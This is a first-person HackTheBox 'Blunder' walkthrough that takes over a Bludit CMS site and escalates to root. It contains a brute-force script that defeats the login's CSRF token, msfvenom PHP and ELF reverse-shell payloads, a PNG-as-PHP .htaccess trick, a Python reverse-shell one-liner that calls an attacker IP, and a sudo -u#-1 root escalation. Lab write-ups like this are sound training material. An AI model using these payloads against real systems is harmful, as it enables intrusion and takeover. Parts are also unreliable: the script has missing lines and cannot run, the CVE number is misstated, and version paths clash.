This room on HackTheBox is categorized as Easy but as a beginner I still found it to be a bit tricky as there were many things that I had not experienced before just like a completely new way for me to enumerate credentials.

So, let’s begin!


Blunder sits at IP address: So, the first thing that we can do is run an scan against the IP address to check all the ports that are open over there.

└──╼ $nmap -A
Starting Nmap 7.80 ( ) at 2020-10-17 08:30 IST
Nmap scan report for
Host is up (0.15s latency).
Not shown: 998 filtered ports
21/tcp closed ftp
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Blunder
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Blunder | A blunder of interesting facts

Service detection performed. Please report any incorrect results at .
Nmap done: 1 IP address (1 host up) scanned in 33.08 seconds

It can be seen that there is only one port open and that is port 80 which is running Apache server, indicating that we can access the content hosted on it via a web browser.

It looks like this is someone’s personal blog where they upload their articles. We can start a directory traversal attack and meanwhile go through the source-code of all the pages on the website.

We can’t find any useful information from the source-code of any of the pages. So, the only option that we are left with is the result from directory traversal.

From dirbuster scan results, we can definitely visit two pages namely and along with the directory .

On , we don't find any details but on we can find a note.

So, now we have a suspected username . We can move on and check the directory .

We can find a login page at . Where we can try some basic SQLi attack along with default login credentials but none of them work. We can even try some common passwords with the username but even they won't work. We can also check its source code in order to check for some information disclosure.

Here, we don’t find any useful hint but can see that this login page uses CSRF Token which is used as a method to avoid login brute-force attacks. With every new request a new token is generated and this needs to be submitted along with login credentials while performing a login. So, if we plan to bruteforce the credentials we need to figure out a method that along with the changing credentials we are sending the correct CRSF token with every login attempt else we won’t be able to find the correct login credentials.

Initial Foothold

From the login page, we get one hint and that is the term . We can try to look for it on google to see if it some known service and even try to look for some associated vulnerability.

The first result from google that we get is exploit on ExploitDB. We can download the code, make necessary changes and try to it. But before that we can see that to execute the script properly we need a username and password along with the target URL.

We do have one suspected username but no associated password. Even in the articles, we don't find any suspected password and there are no other hidden pages as well. We can try to get a list of words from the webpage using and then try to use those words as a password for logging in. We can run as:

└──╼ $cewl -w words

This will create a list of words obtained from the webpage. With this we will get the output written in the file . Now, we can use this list along with the username to bruteforce the login. But the issue is CSRF token. And to avoid that we need to make a python script which will read the token and pass is in the subsequent request along with the updated password value.

import requests
import re
path = '/admin/login'
username = 'fergus'
wordlist = open('words', 'r')
words = wordlist.readlines()
for password in words:
session = requests.session()
login_page = session.get(url+path)
csrf_token ='name="tokenCSRF" value="(.*)"', login_page.text).group(1)
print ("Trying Password: ", password)
print ("CSRF Token:", csrf_token)
data = {
'tokenCSRF': csrf_token,
'username': username,
'password': password.strip(),
login_return =, data = data, allow_redirects = False)print (login_return)
if ('incorrect' not in login_return.text):
# print (login_return.text)
print ("Success!")
print ('Use username: fergus and password: ', password)

You can find this script at:

The script is working as:

  1. Open the wordlist named and read it's content.
  2. Run a loop for all the words in the wordlist.
  3. In the loop, we are doing the following:
  • Request the login page to obtain the new CSRF token.
  • Create a custom list of value in the variable that are to be sent to the login page.
  • Send the to the login page through a request and disable redirects.
  • Check the response of request for the keyword 'incorrect'. This will help us to stop the loop when correct credentials are found because when we would have logged in there won't be the string 'username or password incorrect' present in the response.

P.S. I used burpsuite to check all the parameters that were being sent to the login page with every request and on the basis of that created the values in .

With this, we get the correct password as well which we can try by logging in.

Now that we have the correct username and password, we can use the directory traversal exploit that we had downloaded earlier by making the correct changes to it.

On reading the script further, we can see that we need to create two more files which are and . Lucking the commands to create those files are also given, so we can use those commands to create the required payloads.

└──╼ $msfvenom -p php/reverse_php LHOST=<your_ip> LPORT=4242 -f raw -b '"' > evil.png
[-] No platform was selected, choosing Msf::Module::Platform::PHP from the payload
[-] No arch selected, selecting arch: php from the payload
Found 2 compatible encoders
Attempting to encode payload with 1 iterations of php/base64
php/base64 succeeded with size 4098 (iteration=0)
php/base64 chosen with final size 4098
Payload size: 4098 bytes
└──╼ $echo -e "<?php $(cat evil.png)" > evil.png
└──╼ $echo "RewriteEngine off" > .htaccess
└──╼ $echo "AddType application/x-httpd-php .png" >> .htaccess

Now, we can again try to run the script.

└──╼ $python3
cookie: pnrnpfrisepfdgf7vqatk16rs6
csrf_token: a89c392f2d98cf3cebda6f026bd69f4a29fbde41
Uploading payload: evil.png
Uploading payload: .htaccess

In the script, it is written that the payload uploaded can be accessed at . But before visiting that page, we need to start a listener on port 4242 (In the script it is port 53 but I changed it to 4242).

└──╼ $nc -nvlp 4242
listening on [any] 4242 ...
connect to [<your_ip>] from (UNKNOWN) [] 57072

We can see that we are logged in as using the command . On exploring the directories, we find out that there are two users on the machine and . And 's directory contains the file which is not accessible to us. Also, we can't see the output for . The next thing we can look for is .

cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don't have to run the `crontab'
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.
# Example of job definition:
# .---------------- minute (0 - 59)
# | .------------- hour (0 - 23)
# | | .---------- day of month (1 - 31)
# | | | .------- month (1 - 12) OR jan,feb,mar,apr ...
# | | | | .---- day of week (0 - 6) (Sunday=0 or 7) OR sun,mon,tue,wed,thu,fri,sat
# | | | | |
# * * * * * user-name command to be executed
17 * * * * root cd / && run-parts --report /etc/cron.hourly
25 6 * * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.daily )
47 6 * * 7 root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.weekly )
52 6 1 * * root test -x /usr/sbin/anacron || ( cd / && run-parts --report /etc/cron.monthly )

But even her, we don’t find anything useful. We can try to look for the files that we can access using the command:

find / -user www-data 2> /dev/null /var/www/bludit-3.10.0a

The command returns a lot for files and directories but the most important one appears to be: . So, we can start enumerating the files present in this directory and see if we can find something useful.

After going through multiple files in the mentioned directory. We can find credentials for the user in the file:

cat users.php
<?php defined('BLUDIT') or die('Bludit CMS.'); ?>
"admin": {
"nickname": "Hugo",
"firstName": "Hugo",
"lastName": "",
"role": "User",
"password": "*****************************************",
"email": "",
"registered": "2019-11-27 07:40:55",
"tokenRemember": "",
"tokenAuth": "b380cb62057e9da47afce66b4615107d",
"tokenAuthTTL": "2009-03-15 14:00",
"twitter": "",
"facebook": "",
"instagram": "",
"codepen": "",
"linkedin": "",
"github": "",
"gitlab": ""}

We can use this password hash and head over to CrackStation to get the password.

Even though now that we have the credentials for user ‘Hugo’, we can’t switch user because we don’t have a stable shell. To convert this unstable shell to a stable one we can try commands like:

1. python -c 'import pty;pty.spawn("/bin/bash")' 
2. echo os.system('/bin/bash')

But none of these works. We can try to create a custom payload using , send it to the target machine and execute it as:

msfvenom -p linux/x64/shell_reverse_tcp RHOST=<your_ip> LPORT=443 -f elf > shell.elf

And this payload to the target machine by starting a on our attacking machine and using on the target machine. Once, the file is downloaded we can change it's permissions to executable and run it. But even this does not work.

Finally, I had some help from Gray-0men, who suggested me to start a python reverse shell from the unstable shell using the payload:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.x.x",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

We can now start another listener on port 443 using the command and run the above command with our attacking machine's IP address on the target machine:

On target machine’s previously obtained shell:

└──╼ $nc -nvlp 4242
listening on [any] 4242 ...
connect to [] from (UNKNOWN) [] 59284
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<your-ip>",443));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

On attacking machine:

└──╼ $sudo nc -nvlp 443
[sudo] password for tester:
listening on [any] 443 ...
connect to [] from (UNKNOWN) [] 53498
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ whoami
www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ pwd

We can now switch the user to ‘Hugo’ as:

www-data@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ su hugo           
su hugo
hugo@blunder:/var/www/bludit-3.9.2/bl-content/tmp/temp$ cd /home/hugo
cd /home/hugo
hugo@blunder:~$ cat user.txt
cat user.txt

And there we get the user flag.

We can now run the command to check the commands that 'hugo' can run with privilege:

hugo@blunder:~$ sudo -l
sudo -l
Matching Defaults entries for hugo on blunder:
env_reset, mail_badpass,
User hugo may run the following commands on blunder:
(ALL, !root) /bin/bash

Now the entry gives a direct hint towards the vulnerability CVE-2019-4287 which can be simply exploited as:

hugo@blunder:~$ sudo -u#-1 /bin/bash
sudo -u#-1 /bin/bash
root@blunder:/home/hugo# cat /root/root.txt
cat /root/root.txt

By exploiting this simple vulnerability we get root access and can read the flag as well!

With this, we pwned the Blender machine!

Some Key Points to Take Away

  1. When you have access to some articles try using to obtain a list of words and use them to bruteforce login.
  2. If you are not able to make an unstable shell stable, try to get another reverse shell from the unstable shell.

Links Referred

  1. HackTheBox-Blunder:
  2. Bludit Directory Traversal Attack:
  3. CrackStation:
  4. Gray-0men:
  5. CVE-2019–4287:

Do find my other work and walkthroughs at:

Just another CyberSec Guy